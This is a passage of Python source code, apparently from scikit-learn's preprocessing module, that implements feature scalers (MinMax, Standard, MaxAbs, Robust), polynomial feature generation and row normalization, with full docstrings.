        self.feature_range = feature_range
        self.copy = copy

    @property
    @deprecated("Attribute data_range will be removed in "
                "0.19. Use ``data_range_`` instead")
    def data_range(self):
        return self.data_range_

    @property
    @deprecated("Attribute data_min will be removed in "
                "0.19. Use ``data_min_`` instead")
    def data_min(self):
        return self.data_min_

    def _reset(self):
        """Reset internal data-dependent state of the scaler, if necessary.

        __init__ parameters are not touched.
        """

        # Checking one attribute is enough, becase they are all set together
        # in partial_fit
        if hasattr(self, 'scale_'):
            del self.scale_
            del self.min_
            del self.n_samples_seen_
            del self.data_min_
            del self.data_max_
            del self.data_range_

    def fit(self, X, y=None):
        """Compute the minimum and maximum to be used for later scaling.

        Parameters
        ----------
        X : array-like, shape [n_samples, n_features]
            The data used to compute the per-feature minimum and maximum
            used for later scaling along the features axis.
        """

        # Reset internal state before fitting
        self._reset()
        return self.partial_fit(X, y)

    def partial_fit(self, X, y=None):
        """Online computation of min and max on X for later scaling.
        All of X is processed as a single batch. This is intended for cases
        when `fit` is not feasible due to very large number of `n_samples`
        or because X is read from a continuous stream.

        Parameters
        ----------
        X : array-like, shape [n_samples, n_features]
            The data used to compute the mean and standard deviation
            used for later scaling along the features axis.

        y : Passthrough for ``Pipeline`` compatibility.
        """
        feature_range = self.feature_range
        if feature_range[0] >= feature_range[1]:
            raise ValueError("Minimum of desired feature range must be smaller"
                             " than maximum. Got %s." % str(feature_range))

        if sparse.issparse(X):
            raise TypeError("MinMaxScaler does no support sparse input. "
                            "You may consider to use MaxAbsScaler instead.")

        X = check_array(X, copy=self.copy, ensure_2d=False, warn_on_dtype=True,
                        estimator=self, dtype=FLOAT_DTYPES)

        if X.ndim == 1:
            warnings.warn(DEPRECATION_MSG_1D, DeprecationWarning)

        data_min = np.min(X, axis=0)
        data_max = np.max(X, axis=0)

        # First pass
        if not hasattr(self, 'n_samples_seen_'):
            self.n_samples_seen_ = X.shape[0]
        # Next steps
        else:
            data_min = np.minimum(self.data_min_, data_min)
            data_max = np.maximum(self.data_max_, data_max)
            self.n_samples_seen_ += X.shape[0]

        data_range = data_max - data_min
        self.scale_ = ((feature_range[1] - feature_range[0]) /
                       _handle_zeros_in_scale(data_range))
        self.min_ = feature_range[0] - data_min * self.scale_
        self.data_min_ = data_min
        self.data_max_ = data_max
        self.data_range_ = data_range
        return self

    def transform(self, X):
        """Scaling features of X according to feature_range.

        Parameters
        ----------
        X : array-like, shape [n_samples, n_features]
            Input data that will be transformed.
        """
        check_is_fitted(self, 'scale_')

        X = check_array(X, copy=self.copy, ensure_2d=False, dtype=FLOAT_DTYPES)
        if X.ndim == 1:
            warnings.warn(DEPRECATION_MSG_1D, DeprecationWarning)

        X *= self.scale_
        X += self.min_
        return X

    def inverse_transform(self, X):
        """Undo the scaling of X according to feature_range.

        Parameters
        ----------
        X : array-like, shape [n_samples, n_features]
            Input data that will be transformed. It cannot be sparse.
        """
        check_is_fitted(self, 'scale_')

        X = check_array(X, copy=self.copy, ensure_2d=False, dtype=FLOAT_DTYPES)
        if X.ndim == 1:
            warnings.warn(DEPRECATION_MSG_1D, DeprecationWarning)

        X -= self.min_
        X /= self.scale_
        return X


def minmax_scale(X, feature_range=(0, 1), axis=0, copy=True):
    """Transforms features by scaling each feature to a given range.

    This estimator scales and translates each feature individually such
    that it is in the given range on the training set, i.e. between
    zero and one.

    The transformation is given by::

        X_std = (X - X.min(axis=0)) / (X.max(axis=0) - X.min(axis=0))
        X_scaled = X_std * (max - min) + min

    where min, max = feature_range.

    This transformation is often used as an alternative to zero mean,
    unit variance scaling.

    Read more in the :ref:`User Guide <preprocessing_scaler>`.

    .. versionadded:: 0.17
       *minmax_scale* function interface
       to :class:`sklearn.preprocessing.MinMaxScaler`.

    Parameters
    ----------
    feature_range: tuple (min, max), default=(0, 1)
        Desired range of transformed data.

    axis : int (0 by default)
        axis used to scale along. If 0, independently scale each feature,
        otherwise (if 1) scale each sample.

    copy : boolean, optional, default is True
        Set to False to perform inplace scaling and avoid a copy (if the input
        is already a numpy array).

    See also
    --------
    MinMaxScaler: Performs scaling to a given range using the``Transformer`` API
        (e.g. as part of a preprocessing :class:`sklearn.pipeline.Pipeline`).
    """  # noqa
    # To allow retro-compatibility, we handle here the case of 1D-input
    # From 0.17, 1D-input are deprecated in scaler objects
    # Although, we want to allow the users to keep calling this function
    # with 1D-input.

    # Cast input to array, as we need to check ndim. Prior to 0.17, that was
    # done inside the scaler object fit_transform.
    # If copy is required, it will be done inside the scaler object.
    X = check_array(X, copy=False, ensure_2d=False, warn_on_dtype=True,
                    dtype=FLOAT_DTYPES)
    original_ndim = X.ndim

    if original_ndim == 1:
        X = X.reshape(X.shape[0], 1)

    s = MinMaxScaler(feature_range=feature_range, copy=copy)
    if axis == 0:
        X = s.fit_transform(X)
    else:
        X = s.fit_transform(X.T).T

    if original_ndim == 1:
        X = X.ravel()

    return X


class StandardScaler(BaseEstimator, TransformerMixin):
    """Standardize features by removing the mean and scaling to unit variance

    Centering and scaling happen independently on each feature by computing
    the relevant statistics on the samples in the training set. Mean and
    standard deviation are then stored to be used on later data using the
    `transform` method.

    Standardization of a dataset is a common requirement for many
    machine learning estimators: they might behave badly if the
    individual feature do not more or less look like standard normally
    distributed data (e.g. Gaussian with 0 mean and unit variance).

    For instance many elements used in the objective function of
    a learning algorithm (such as the RBF kernel of Support Vector
    Machines or the L1 and L2 regularizers of linear models) assume that
    all features are centered around 0 and have variance in the same
    order. If a feature has a variance that is orders of magnitude larger
    that others, it might dominate the objective function and make the
    estimator unable to learn from other features correctly as expected.

    This scaler can also be applied to sparse CSR or CSC matrices by passing
    `with_mean=False` to avoid breaking the sparsity structure of the data.

    Read more in the :ref:`User Guide <preprocessing_scaler>`.

    Parameters
    ----------
    with_mean : boolean, True by default
        If True, center the data before scaling.
        This does not work (and will raise an exception) when attempted on
        sparse matrices, because centering them entails building a dense
        matrix which in common use cases is likely to be too large to fit in
        memory.

    with_std : boolean, True by default
        If True, scale the data to unit variance (or equivalently,
        unit standard deviation).

    copy : boolean, optional, default True
        If False, try to avoid a copy and do inplace scaling instead.
        This is not guaranteed to always work inplace; e.g. if the data is
        not a NumPy array or scipy.sparse CSR matrix, a copy may still be
        returned.

    Attributes
    ----------
    scale_ : ndarray, shape (n_features,)
        Per feature relative scaling of the data.

        .. versionadded:: 0.17
           *scale_* is recommended instead of deprecated *std_*.

    mean_ : array of floats with shape [n_features]
        The mean value for each feature in the training set.

    var_ : array of floats with shape [n_features]
        The variance for each feature in the training set. Used to compute
        `scale_`

    n_samples_seen_ : int
        The number of samples processed by the estimator. Will be reset on
        new calls to fit, but increments across ``partial_fit`` calls.

    See also
    --------
    scale: Equivalent function without the object oriented API.

    :class:`sklearn.decomposition.PCA`
        Further removes the linear correlation across features with 'whiten=True'.
    """  # noqa

    def __init__(self, copy=True, with_mean=True, with_std=True):
        self.with_mean = with_mean
        self.with_std = with_std
        self.copy = copy

    @property
    @deprecated("Attribute ``std_`` will be removed in 0.19. "
                "Use ``scale_`` instead")
    def std_(self):
        return self.scale_

    def _reset(self):
        """Reset internal data-dependent state of the scaler, if necessary.

        __init__ parameters are not touched.
        """

        # Checking one attribute is enough, becase they are all set together
        # in partial_fit
        if hasattr(self, 'scale_'):
            del self.scale_
            del self.n_samples_seen_
            del self.mean_
            del self.var_

    def fit(self, X, y=None):
        """Compute the mean and std to be used for later scaling.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape [n_samples, n_features]
            The data used to compute the mean and standard deviation
            used for later scaling along the features axis.

        y: Passthrough for ``Pipeline`` compatibility.
        """

        # Reset internal state before fitting
        self._reset()
        return self.partial_fit(X, y)

    def partial_fit(self, X, y=None):
        """Online computation of mean and std on X for later scaling.
        All of X is processed as a single batch. This is intended for cases
        when `fit` is not feasible due to very large number of `n_samples`
        or because X is read from a continuous stream.

        The algorithm for incremental mean and std is given in Equation 1.5a,b
        in Chan, Tony F., Gene H. Golub, and Randall J. LeVeque. "Algorithms
        for computing the sample variance: Analysis and recommendations."
        The American Statistician 37.3 (1983): 242-247:

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape [n_samples, n_features]
            The data used to compute the mean and standard deviation
            used for later scaling along the features axis.

        y: Passthrough for ``Pipeline`` compatibility.
        """
        X = check_array(X, accept_sparse=('csr', 'csc'), copy=self.copy,
                        ensure_2d=False, warn_on_dtype=True,
                        estimator=self, dtype=FLOAT_DTYPES)

        if X.ndim == 1:
            warnings.warn(DEPRECATION_MSG_1D, DeprecationWarning)

        # Even in the case of `with_mean=False`, we update the mean anyway
        # This is needed for the incremental computation of the var
        # See incr_mean_variance_axis and _incremental_mean_variance_axis

        if sparse.issparse(X):
            if self.with_mean:
                raise ValueError(
                    "Cannot center sparse matrices: pass `with_mean=False` "
                    "instead. See docstring for motivation and alternatives.")
            if self.with_std:
                # First pass
                if not hasattr(self, 'n_samples_seen_'):
                    self.mean_, self.var_ = mean_variance_axis(X, axis=0)
                    self.n_samples_seen_ = X.shape[0]
                # Next passes
                else:
                    self.mean_, self.var_, self.n_samples_seen_ = \
                        incr_mean_variance_axis(X, axis=0,
                                                last_mean=self.mean_,
                                                last_var=self.var_,
                                                last_n=self.n_samples_seen_)
            else:
                self.mean_ = None
                self.var_ = None
        else:
            # First pass
            if not hasattr(self, 'n_samples_seen_'):
                self.mean_ = .0
                self.n_samples_seen_ = 0
                if self.with_std:
                    self.var_ = .0
                else:
                    self.var_ = None

            self.mean_, self.var_, self.n_samples_seen_ = \
                _incremental_mean_and_var(X, self.mean_, self.var_,
                                          self.n_samples_seen_)

        if self.with_std:
            self.scale_ = _handle_zeros_in_scale(np.sqrt(self.var_))
        else:
            self.scale_ = None

        return self

    def transform(self, X, y=None, copy=None):
        """Perform standardization by centering and scaling

        Parameters
        ----------
        X : array-like, shape [n_samples, n_features]
            The data used to scale along the features axis.
        """
        check_is_fitted(self, 'scale_')

        copy = copy if copy is not None else self.copy
        X = check_array(X, accept_sparse='csr', copy=copy,
                        ensure_2d=False, warn_on_dtype=True,
                        estimator=self, dtype=FLOAT_DTYPES)

        if X.ndim == 1:
            warnings.warn(DEPRECATION_MSG_1D, DeprecationWarning)

        if sparse.issparse(X):
            if self.with_mean:
                raise ValueError(
                    "Cannot center sparse matrices: pass `with_mean=False` "
                    "instead. See docstring for motivation and alternatives.")
            if self.scale_ is not None:
                inplace_column_scale(X, 1 / self.scale_)
        else:
            if self.with_mean:
                X -= self.mean_
            if self.with_std:
                X /= self.scale_
        return X

    def inverse_transform(self, X, copy=None):
        """Scale back the data to the original representation

        Parameters
        ----------
        X : array-like, shape [n_samples, n_features]
            The data used to scale along the features axis.
        """
        check_is_fitted(self, 'scale_')

        copy = copy if copy is not None else self.copy
        if sparse.issparse(X):
            if self.with_mean:
                raise ValueError(
                    "Cannot uncenter sparse matrices: pass `with_mean=False` "
                    "instead See docstring for motivation and alternatives.")
            if not sparse.isspmatrix_csr(X):
                X = X.tocsr()
                copy = False
            if copy:
                X = X.copy()
            if self.scale_ is not None:
                inplace_column_scale(X, self.scale_)
        else:
            X = np.asarray(X)
            if copy:
                X = X.copy()
            if self.with_std:
                X *= self.scale_
            if self.with_mean:
                X += self.mean_
        return X


class MaxAbsScaler(BaseEstimator, TransformerMixin):
    """Scale each feature by its maximum absolute value.

    This estimator scales and translates each feature individually such
    that the maximal absolute value of each feature in the
    training set will be 1.0. It does not shift/center the data, and
    thus does not destroy any sparsity.

    This scaler can also be applied to sparse CSR or CSC matrices.

    .. versionadded:: 0.17

    Parameters
    ----------
    copy : boolean, optional, default is True
        Set to False to perform inplace scaling and avoid a copy (if the input
        is already a numpy array).

    Attributes
    ----------
    scale_ : ndarray, shape (n_features,)
        Per feature relative scaling of the data.

        .. versionadded:: 0.17
           *scale_* attribute.

    max_abs_ : ndarray, shape (n_features,)
        Per feature maximum absolute value.

    n_samples_seen_ : int
        The number of samples processed by the estimator. Will be reset on
        new calls to fit, but increments across ``partial_fit`` calls.

    See also
    --------
    maxabs_scale: Equivalent function without the object oriented API.
    """

    def __init__(self, copy=True):
        self.copy = copy

    def _reset(self):
        """Reset internal data-dependent state of the scaler, if necessary.

        __init__ parameters are not touched.
        """

        # Checking one attribute is enough, becase they are all set together
        # in partial_fit
        if hasattr(self, 'scale_'):
            del self.scale_
            del self.n_samples_seen_
            del self.max_abs_

    def fit(self, X, y=None):
        """Compute the maximum absolute value to be used for later scaling.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape [n_samples, n_features]
            The data used to compute the per-feature minimum and maximum
            used for later scaling along the features axis.
        """

        # Reset internal state before fitting
        self._reset()
        return self.partial_fit(X, y)

    def partial_fit(self, X, y=None):
        """Online computation of max absolute value of X for later scaling.
        All of X is processed as a single batch. This is intended for cases
        when `fit` is not feasible due to very large number of `n_samples`
        or because X is read from a continuous stream.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape [n_samples, n_features]
            The data used to compute the mean and standard deviation
            used for later scaling along the features axis.

        y: Passthrough for ``Pipeline`` compatibility.
        """
        X = check_array(X, accept_sparse=('csr', 'csc'), copy=self.copy,
                        ensure_2d=False, estimator=self, dtype=FLOAT_DTYPES)

        if X.ndim == 1:
            warnings.warn(DEPRECATION_MSG_1D, DeprecationWarning)

        if sparse.issparse(X):
            mins, maxs = min_max_axis(X, axis=0)
            max_abs = np.maximum(np.abs(mins), np.abs(maxs))
        else:
            max_abs = np.abs(X).max(axis=0)

        # First pass
        if not hasattr(self, 'n_samples_seen_'):
            self.n_samples_seen_ = X.shape[0]
        # Next passes
        else:
            max_abs = np.maximum(self.max_abs_, max_abs)
            self.n_samples_seen_ += X.shape[0]

        self.max_abs_ = max_abs
        self.scale_ = _handle_zeros_in_scale(max_abs)
        return self

    def transform(self, X, y=None):
        """Scale the data

        Parameters
        ----------
        X : {array-like, sparse matrix}
            The data that should be scaled.
        """
        check_is_fitted(self, 'scale_')
        X = check_array(X, accept_sparse=('csr', 'csc'), copy=self.copy,
                        ensure_2d=False, estimator=self, dtype=FLOAT_DTYPES)

        if X.ndim == 1:
            warnings.warn(DEPRECATION_MSG_1D, DeprecationWarning)

        if sparse.issparse(X):
            inplace_column_scale(X, 1.0 / self.scale_)
        else:
            X /= self.scale_
        return X

    def inverse_transform(self, X):
        """Scale back the data to the original representation

        Parameters
        ----------
        X : {array-like, sparse matrix}
            The data that should be transformed back.
        """
        check_is_fitted(self, 'scale_')
        X = check_array(X, accept_sparse=('csr', 'csc'), copy=self.copy,
                        ensure_2d=False, estimator=self, dtype=FLOAT_DTYPES)
        if X.ndim == 1:
            warnings.warn(DEPRECATION_MSG_1D, DeprecationWarning)

        if sparse.issparse(X):
            inplace_column_scale(X, self.scale_)
        else:
            X *= self.scale_
        return X


def maxabs_scale(X, axis=0, copy=True):
    """Scale each feature to the [-1, 1] range without breaking the sparsity.

    This estimator scales each feature individually such
    that the maximal absolute value of each feature in the
    training set will be 1.0.

    This scaler can also be applied to sparse CSR or CSC matrices.

    Parameters
    ----------
    axis : int (0 by default)
        axis used to scale along. If 0, independently scale each feature,
        otherwise (if 1) scale each sample.

    copy : boolean, optional, default is True
        Set to False to perform inplace scaling and avoid a copy (if the input
        is already a numpy array).

    See also
    --------
    MaxAbsScaler: Performs scaling to the [-1, 1] range using the``Transformer`` API
        (e.g. as part of a preprocessing :class:`sklearn.pipeline.Pipeline`).
    """  # noqa
    # To allow retro-compatibility, we handle here the case of 1D-input
    # From 0.17, 1D-input are deprecated in scaler objects
    # Although, we want to allow the users to keep calling this function
    # with 1D-input.

    # Cast input to array, as we need to check ndim. Prior to 0.17, that was
    # done inside the scaler object fit_transform.
    # If copy is required, it will be done inside the scaler object.
    X = check_array(X, accept_sparse=('csr', 'csc'), copy=False,
                    ensure_2d=False, dtype=FLOAT_DTYPES)
    original_ndim = X.ndim

    if original_ndim == 1:
        X = X.reshape(X.shape[0], 1)

    s = MaxAbsScaler(copy=copy)
    if axis == 0:
        X = s.fit_transform(X)
    else:
        X = s.fit_transform(X.T).T

    if original_ndim == 1:
        X = X.ravel()

    return X


class RobustScaler(BaseEstimator, TransformerMixin):
    """Scale features using statistics that are robust to outliers.

    This Scaler removes the median and scales the data according to
    the quantile range (defaults to IQR: Interquartile Range).
    The IQR is the range between the 1st quartile (25th quantile)
    and the 3rd quartile (75th quantile).

    Centering and scaling happen independently on each feature (or each
    sample, depending on the `axis` argument) by computing the relevant
    statistics on the samples in the training set. Median and  interquartile
    range are then stored to be used on later data using the `transform`
    method.

    Standardization of a dataset is a common requirement for many
    machine learning estimators. Typically this is done by removing the mean
    and scaling to unit variance. However, outliers can often influence the
    sample mean / variance in a negative way. In such cases, the median and
    the interquartile range often give better results.

    .. versionadded:: 0.17

    Read more in the :ref:`User Guide <preprocessing_scaler>`.

    Parameters
    ----------
    with_centering : boolean, True by default
        If True, center the data before scaling.
        This does not work (and will raise an exception) when attempted on
        sparse matrices, because centering them entails building a dense
        matrix which in common use cases is likely to be too large to fit in
        memory.

    with_scaling : boolean, True by default
        If True, scale the data to interquartile range.

    quantile_range : tuple (q_min, q_max), 0.0 < q_min < q_max < 100.0
        Default: (25.0, 75.0) = (1st quantile, 3rd quantile) = IQR
        Quantile range used to calculate scale_

        .. versionadded:: 0.18

    copy : boolean, optional, default is True
        If False, try to avoid a copy and do inplace scaling instead.
        This is not guaranteed to always work inplace; e.g. if the data is
        not a NumPy array or scipy.sparse CSR matrix, a copy may still be
        returned.

    Attributes
    ----------
    center_ : array of floats
        The median value for each feature in the training set.

    scale_ : array of floats
        The (scaled) interquartile range for each feature in the training set.

        .. versionadded:: 0.17
           *scale_* attribute.

    See also
    --------
    robust_scale: Equivalent function without the object oriented API.

    :class:`sklearn.decomposition.PCA`
        Further removes the linear correlation across features with
        'whiten=True'.

    Notes
    -----
    See examples/preprocessing/plot_robust_scaling.py for an example.

    https://en.wikipedia.org/wiki/Median_(statistics)
    https://en.wikipedia.org/wiki/Interquartile_range
    """

    def __init__(self, with_centering=True, with_scaling=True,
                 quantile_range=(25.0, 75.0), copy=True):
        self.with_centering = with_centering
        self.with_scaling = with_scaling
        self.quantile_range = quantile_range
        self.copy = copy

    def _check_array(self, X, copy):
        """Makes sure centering is not enabled for sparse matrices."""
        X = check_array(X, accept_sparse=('csr', 'csc'), copy=self.copy,
                        ensure_2d=False, estimator=self, dtype=FLOAT_DTYPES)

        if X.ndim == 1:
            warnings.warn(DEPRECATION_MSG_1D, DeprecationWarning)

        if sparse.issparse(X):
            if self.with_centering:
                raise ValueError(
                    "Cannot center sparse matrices: use `with_centering=False`"
                    " instead. See docstring for motivation and alternatives.")
        return X

    def fit(self, X, y=None):
        """Compute the median and quantiles to be used for scaling.

        Parameters
        ----------
        X : array-like, shape [n_samples, n_features]
            The data used to compute the median and quantiles
            used for later scaling along the features axis.
        """
        if sparse.issparse(X):
            raise TypeError("RobustScaler cannot be fitted on sparse inputs")
        X = self._check_array(X, self.copy)
        if X.ndim == 1:
            warnings.warn(DEPRECATION_MSG_1D, DeprecationWarning)
        if self.with_centering:
            self.center_ = np.median(X, axis=0)

        if self.with_scaling:
            q_min, q_max = self.quantile_range
            if not 0 <= q_min <= q_max <= 100:
                raise ValueError("Invalid quantile range: %s" %
                                 str(self.quantile_range))

            q = np.percentile(X, self.quantile_range, axis=0)
            self.scale_ = (q[1] - q[0])
            self.scale_ = _handle_zeros_in_scale(self.scale_, copy=False)
        return self

    def transform(self, X, y=None):
        """Center and scale the data

        Parameters
        ----------
        X : array-like
            The data used to scale along the specified axis.
        """
        if self.with_centering:
            check_is_fitted(self, 'center_')
        if self.with_scaling:
            check_is_fitted(self, 'scale_')
        X = self._check_array(X, self.copy)
        if X.ndim == 1:
            warnings.warn(DEPRECATION_MSG_1D, DeprecationWarning)

        if sparse.issparse(X):
            if self.with_scaling:
                inplace_column_scale(X, 1.0 / self.scale_)
        else:
            if self.with_centering:
                X -= self.center_
            if self.with_scaling:
                X /= self.scale_
        return X

    def inverse_transform(self, X):
        """Scale back the data to the original representation

        Parameters
        ----------
        X : array-like
            The data used to scale along the specified axis.
        """
        if self.with_centering:
            check_is_fitted(self, 'center_')
        if self.with_scaling:
            check_is_fitted(self, 'scale_')
        X = self._check_array(X, self.copy)
        if X.ndim == 1:
            warnings.warn(DEPRECATION_MSG_1D, DeprecationWarning)

        if sparse.issparse(X):
            if self.with_scaling:
                inplace_column_scale(X, self.scale_)
        else:
            if self.with_scaling:
                X *= self.scale_
            if self.with_centering:
                X += self.center_
        return X


def robust_scale(X, axis=0, with_centering=True, with_scaling=True,
                 quantile_range=(25.0, 75.0), copy=True):
    """Standardize a dataset along any axis

    Center to the median and component wise scale
    according to the interquartile range.

    Read more in the :ref:`User Guide <preprocessing_scaler>`.

    Parameters
    ----------
    X : array-like
        The data to center and scale.

    axis : int (0 by default)
        axis used to compute the medians and IQR along. If 0,
        independently scale each feature, otherwise (if 1) scale
        each sample.

    with_centering : boolean, True by default
        If True, center the data before scaling.

    with_scaling : boolean, True by default
        If True, scale the data to unit variance (or equivalently,
        unit standard deviation).

    quantile_range : tuple (q_min, q_max), 0.0 < q_min < q_max < 100.0
        Default: (25.0, 75.0) = (1st quantile, 3rd quantile) = IQR
        Quantile range used to calculate scale_

        .. versionadded:: 0.18

    copy : boolean, optional, default is True
        set to False to perform inplace row normalization and avoid a
        copy (if the input is already a numpy array or a scipy.sparse
        CSR matrix and if axis is 1).

    Notes
    -----
    This implementation will refuse to center scipy.sparse matrices
    since it would make them non-sparse and would potentially crash the
    program with memory exhaustion problems.

    Instead the caller is expected to either set explicitly
    `with_centering=False` (in that case, only variance scaling will be
    performed on the features of the CSR matrix) or to call `X.toarray()`
    if he/she expects the materialized dense array to fit in memory.

    To avoid memory copy the caller should pass a CSR matrix.

    See also
    --------
    RobustScaler: Performs centering and scaling using the ``Transformer`` API
        (e.g. as part of a preprocessing :class:`sklearn.pipeline.Pipeline`).
    """
    s = RobustScaler(with_centering=with_centering, with_scaling=with_scaling,
                     quantile_range=quantile_range, copy=copy)
    if axis == 0:
        return s.fit_transform(X)
    else:
        return s.fit_transform(X.T).T


class PolynomialFeatures(BaseEstimator, TransformerMixin):
    """Generate polynomial and interaction features.

    Generate a new feature matrix consisting of all polynomial combinations
    of the features with degree less than or equal to the specified degree.
    For example, if an input sample is two dimensional and of the form
    [a, b], the degree-2 polynomial features are [1, a, b, a^2, ab, b^2].

    Parameters
    ----------
    degree : integer
        The degree of the polynomial features. Default = 2.

    interaction_only : boolean, default = False
        If true, only interaction features are produced: features that are
        products of at most ``degree`` *distinct* input features (so not
        ``x[1] ** 2``, ``x[0] * x[2] ** 3``, etc.).

    include_bias : boolean
        If True (default), then include a bias column, the feature in which
        all polynomial powers are zero (i.e. a column of ones - acts as an
        intercept term in a linear model).

    Examples
    --------
    >>> X = np.arange(6).reshape(3, 2)
    >>> X
    array([[0, 1],
           [2, 3],
           [4, 5]])
    >>> poly = PolynomialFeatures(2)
    >>> poly.fit_transform(X)
    array([[  1.,   0.,   1.,   0.,   0.,   1.],
           [  1.,   2.,   3.,   4.,   6.,   9.],
           [  1.,   4.,   5.,  16.,  20.,  25.]])
    >>> poly = PolynomialFeatures(interaction_only=True)
    >>> poly.fit_transform(X)
    array([[  1.,   0.,   1.,   0.],
           [  1.,   2.,   3.,   6.],
           [  1.,   4.,   5.,  20.]])

    Attributes
    ----------
    powers_ : array, shape (n_output_features, n_input_features)
        powers_[i, j] is the exponent of the jth input in the ith output.

    n_input_features_ : int
        The total number of input features.

    n_output_features_ : int
        The total number of polynomial output features. The number of output
        features is computed by iterating over all suitably sized combinations
        of input features.

    Notes
    -----
    Be aware that the number of features in the output array scales
    polynomially in the number of features of the input array, and
    exponentially in the degree. High degrees can cause overfitting.

    See :ref:`examples/linear_model/plot_polynomial_interpolation.py
    <sphx_glr_auto_examples_linear_model_plot_polynomial_interpolation.py>`
    """
    def __init__(self, degree=2, interaction_only=False, include_bias=True):
        self.degree = degree
        self.interaction_only = interaction_only
        self.include_bias = include_bias

    @staticmethod
    def _combinations(n_features, degree, interaction_only, include_bias):
        comb = (combinations if interaction_only else combinations_w_r)
        start = int(not include_bias)
        return chain.from_iterable(comb(range(n_features), i)
                                   for i in range(start, degree + 1))

    @property
    def powers_(self):
        check_is_fitted(self, 'n_input_features_')

        combinations = self._combinations(self.n_input_features_, self.degree,
                                          self.interaction_only,
                                          self.include_bias)
        return np.vstack(bincount(c, minlength=self.n_input_features_)
                         for c in combinations)

    def get_feature_names(self, input_features=None):
        """
        Return feature names for output features

        Parameters
        ----------
        input_features : list of string, length n_features, optional
            String names for input features if available. By default,
            "x0", "x1", ... "xn_features" is used.

        Returns
        -------
        output_feature_names : list of string, length n_output_features

        """
        powers = self.powers_
        if input_features is None:
            input_features = ['x%d' % i for i in range(powers.shape[1])]
        feature_names = []
        for row in powers:
            inds = np.where(row)[0]
            if len(inds):
                name = " ".join("%s^%d" % (input_features[ind], exp)
                                if exp != 1 else input_features[ind]
                                for ind, exp in zip(inds, row[inds]))
            else:
                name = "1"
            feature_names.append(name)
        return feature_names

    def fit(self, X, y=None):
        """
        Compute number of output features.
        """
        n_samples, n_features = check_array(X).shape
        combinations = self._combinations(n_features, self.degree,
                                          self.interaction_only,
                                          self.include_bias)
        self.n_input_features_ = n_features
        self.n_output_features_ = sum(1 for _ in combinations)
        return self

    def transform(self, X, y=None):
        """Transform data to polynomial features

        Parameters
        ----------
        X : array-like, shape [n_samples, n_features]
            The data to transform, row by row.

        Returns
        -------
        XP : np.ndarray shape [n_samples, NP]
            The matrix of features, where NP is the number of polynomial
            features generated from the combination of inputs.
        """
        check_is_fitted(self, ['n_input_features_', 'n_output_features_'])

        X = check_array(X, dtype=FLOAT_DTYPES)
        n_samples, n_features = X.shape

        if n_features != self.n_input_features_:
            raise ValueError("X shape does not match training shape")

        # allocate output data
        XP = np.empty((n_samples, self.n_output_features_), dtype=X.dtype)

        combinations = self._combinations(n_features, self.degree,
                                          self.interaction_only,
                                          self.include_bias)
        for i, c in enumerate(combinations):
            XP[:, i] = X[:, c].prod(1)

        return XP


def normalize(X, norm='l2', axis=1, copy=True, return_norm=False):
    """Scale input vectors individually to unit norm (vector length).

    Read more in the :ref:`User Guide <preprocessing_normalization>`.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape [n_samples, n_features]
        The data to normalize, element by element.
        scipy.sparse matrices should be in CSR format to avoid an
        un-necessary copy.

    norm : 'l1', 'l2', or 'max', optional ('l2' by default)
        The norm to use to normalize each non zero sample (or each non-zero
        feature if axis is 0).

    axis : 0 or 1, optional (1 by default)
        axis used to normalize the data along. If 1, independently normalize
        each sample, otherwise (if 0) normalize each feature.

    copy : boolean, optional, default True
        set to False to perform inplace row normalization and avoid a
        copy (if the input is already a numpy array or a scipy.sparse
        CSR matrix and if axis is 1).

    return_norm : boolean, default False
        whether to return the computed norms

    See also
    --------
    Normalizer: Performs normalization using the ``Transformer`` API
        (e.g. as part of a preprocessing :class:`sklearn.pipeline.Pipeline`).
    """
    if norm not in ('l1', 'l2', 'max'):
        raise ValueError("'%s' is not a supported norm" % norm)

    if axis == 0:
        sparse_format = 'csc'
    elif axis == 1:
        sparse_format = 'csr'
    else:
        raise ValueError("'%d' is not a supported axis" % axis)

    X = check_array(X, sparse_format, copy=copy, warn_on_dtype=True,
                    estimator='the normalize function', dtype=FLOAT_DTYPES)
    if axis == 0:
        X = X.T

    if sparse.issparse(X):
        if norm == 'l1':
            inplace_csr_row_normalize_l1(X)
        elif norm == 'l2':
            inplace_csr_row_normalize_l2(X)
        elif norm == 'max':
            _, norms = min_max_axis(X, 1)
            norms = norms.repeat(np.diff(X.indptr))
            mask = norms != 0
            X.data[mask] /= norms[mask]
    else:
        if norm == 'l1':
            norms = np.abs(X).sum(axis=1)
        elif norm == 'l2':
            norms = row_norms(X)
        elif norm == 'max':
            norms = np.max(X, axis=1)
        norms = _handle_zeros_in_scale(norms, copy=False)
        X /= norms[:, np.newaxis]

    if axis == 0:
        X = X.T

    if return_norm:
        return X, norms
    else:
        return X


class Normalizer(BaseEstimator, TransformerMixin):
    """Normalize samples individually to unit norm.

    Each sample (i.e. each row of the data matrix) with at least one
    non zero component is rescaled independently of other samples so
    that its norm (l1 or l2) equals one.

    This transformer is able to work both with dense numpy arrays and
    scipy.sparse matrix (use CSR format if you want to avoid the burden of
    a copy / conversion).

    Scaling inputs to unit norms is a common operation for text
    classification or clustering for instance. For instance the dot
    product of two l2-normalized TF-IDF vectors is the cosine similarity
    of the vectors and is the base similarity metric for the Vector
    Space Model commonly used by the Information Retrieval community.

    Read more in the :ref:`User Guide <preprocessing_normalization>`.

    Parameters
    ----------
    norm : 'l1', 'l2', or 'max', optional ('l2' by default)
        The norm to use to normalize each non zero sample.

    copy : boolean, optional, default True
        set to False to perform inplace row normalization and avoid a
        copy (if the input is already a numpy array or a scipy.sparse
        CSR matrix).

    Notes
    -----
    This estimator is stateless (besides constructor parameters), the
    fit method does nothing but is useful when used in a pipeline.

    See also
    --------
    normalize: Equivalent function without the object oriented API.
    """

    def __init__(self, norm='l2', copy=True):
        self.norm = norm
        self.copy = copy

    def fit(self, X, y=None):
        """Do nothing and return the estimator unchanged

        This method is just there to implement the usual API and hence
        work in pipelines.
        """
        X = check_array(X, accept_sparse='csr')
        return self

    def transform(self, X, y=None, copy=None):
        """Scale each non zero row of X to unit norm

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape [n_samples, n_features]
            The data to normalize, row by row. scipy.sparse matrices should be
            in CSR format to avoid an un-necessary copy.
        """
        copy = copy if copy is not None else self.copy
        X = check_array(X, accept_sparse='csr')
        return normalize(X, norm=self.norm, axis=1, copy=copy)


def binarize(X, threshold=0.0, copy=True):
